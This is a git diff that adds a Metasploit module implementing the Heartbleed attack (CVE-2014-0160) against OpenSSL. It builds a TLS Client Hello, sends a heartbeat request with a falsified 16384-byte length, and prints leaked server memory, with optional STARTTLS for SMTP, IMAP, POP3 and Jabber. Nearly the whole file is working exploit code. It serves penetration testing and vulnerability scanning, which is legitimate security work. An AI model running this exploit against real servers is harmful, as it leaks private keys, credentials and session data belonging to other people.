diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb new file mode 100644 index 0000000000..93ea601a0e --- /dev/null +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -0,0 +1,299 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + CIPHER_SUITES = [ + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA + 0x0005, # TLS_RSA_WITH_RC4_128_SHA + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 + 0x00ff # Unknown + ] + + HANDSHAKE_RECORD_TYPE = 0x16 + HEARTBEAT_RECORD_TYPE = 0x18 + ALERT_RECORD_TYPE = 0x15 + TLS_VERSION = { + '1.0' => 0x0301, + '1.1' => 0x0302, + '1.2' => 0x0303 + } + + TTLS_CALLBACKS = { + 'SMTP' => :tls_smtp, + 'IMAP' => :tls_imap, + 'JABBER' => :tls_jabber, + 'POP3' => :tls_pop3 + } + + def initialize + super( + 'Name' => 'OpenSSL Heartbeat Information Leak', + 'Description' => %q{ + This module implements the OpenSSL Heartbleed attack. The problem + exists in the handling of heartbeat requests, where a fake length can + be used to leak memory data in the response. Services that support + STARTTLS may also be vulnerable. + }, + 'Author' => [ + 'Neel Mehta', # Vulnerability discovery + 'Riku', # Vulnerability discovery + 'Antti', # Vulnerability discovery + 'Matti', # Vulnerability discovery + 'Jared Stafford ', # Original Proof of Concept. This module is based on it. + 'FiloSottile', # PoC site and tool + 'Christian Mehlmauer ', # Msf module + 'juan vazquez' # Msf module + ], + 'References' => + [ + ['CVE', '2014-0160'], + ['US-CERT-VU', '720951'], + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'], + ['URL', 'http://heartbleed.com/'], + ['URL', 'https://github.com/FiloSottile/Heartbleed'], + ['URL', 'https://gist.github.com/takeshixx/10107280'], + ['URL', 'http://filippo.io/Heartbleed/'] + ], + 'DisclosureDate' => 'Apr 7 2014', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]), + OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def tls_smtp + # https://tools.ietf.org/html/rfc3207 + sock.get_once + sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n") + res = sock.get_once + + unless res && res =~ /STARTTLS/ + return nil + end + sock.put("STARTTLS\n") + sock.get_once + end + + def tls_imap + # http://tools.ietf.org/html/rfc2595 + sock.get_once + sock.put("a001 CAPABILITY\r\n") + res = sock.get_once + unless res && res =~ /STARTTLS/i + return nil + end + sock.put("a002 STARTTLS\r\n") + sock.get_once + end + + def tls_pop3 + # http://tools.ietf.org/html/rfc2595 + sock.get_once + sock.put("CAPA\r\n") + res = sock.get_once + if res.nil? || res =~ /^-/ + return nil + end + sock.put("STLS\r\n") + res = sock.get_once + if res.nil? || res =~ /^-/ + return nil + end + end + + def tls_jabber + # http://xmpp.org/extensions/xep-0035.html + msg = "" + msg << "" + sock.put(msg) + res = sock.get_once + return nil if res.nil? # SSL not supported + return nil if res =~ /stream:error/ || res !~ /starttls/i + msg = "" + sock.put(msg) + sock.get_once + end + + def run_host(ip) + connect + + unless datastore['STARTTLS'] == 'None' + vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}") + res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']]) + if res.nil? + vprint_error("#{peer} - STARTTLS failed...") + return + end + end + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + + server_hello = sock.get + unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE + vprint_error("#{peer} - Server Hello Not Found") + return + end + + vprint_status("#{peer} - Sending Heartbeat...") + heartbeat_length = 16384 + sock.put(heartbeat(heartbeat_length)) + hdr = sock.get_once(5) + if hdr.blank? + vprint_error("#{peer} - No Heartbeat response...") + return + end + + unpacked = hdr.unpack('Cnn') + type = unpacked[0] + version = unpacked[1] # must match the type from client_hello + len = unpacked[2] + + # try to get the TLS error + if type == ALERT_RECORD_TYPE + res = sock.get_once(len) + alert_unp = res.unpack('CC') + alert_level = alert_unp[0] + alert_desc = alert_unp[1] + msg = "Unknown error" + # http://tools.ietf.org/html/rfc5246#section-7.2 + case alert_desc + when 0x46 + msg = "Protocol error. Looks like the chosen protocol is not supported." + end + print_error("#{peer} - #{msg}") + disconnect + return + end + + unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']] + vprint_error("#{peer} - Unexpected Heartbeat response") + disconnect + return + end + + vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...") + heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length... + if heartbeat_data + print_good("#{peer} - Heartbeat response with leak") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully leaked info" + }) + vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") + else + vprint_error("#{peer} - Looks like there isn't leaked information...") + end + end + + def heartbeat(length) + payload = "\x01" # Heartbeat Message Type: Request (1) + payload << [length].pack("n") # Payload Length: 16384 + + ssl_record(HEARTBEAT_RECORD_TYPE, payload) + end + + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS + hello_data << [time_epoch].pack("N") # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat) + hello_data_extensions << "\x00\x01" # Extension length + hello_data_extensions << "\x01" # Extension data + + hello_data << [hello_data_extensions.length].pack("n") + hello_data << hello_data_extensions + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack("n") # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + def ssl_record(type, data) + record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn') + record << data + end +end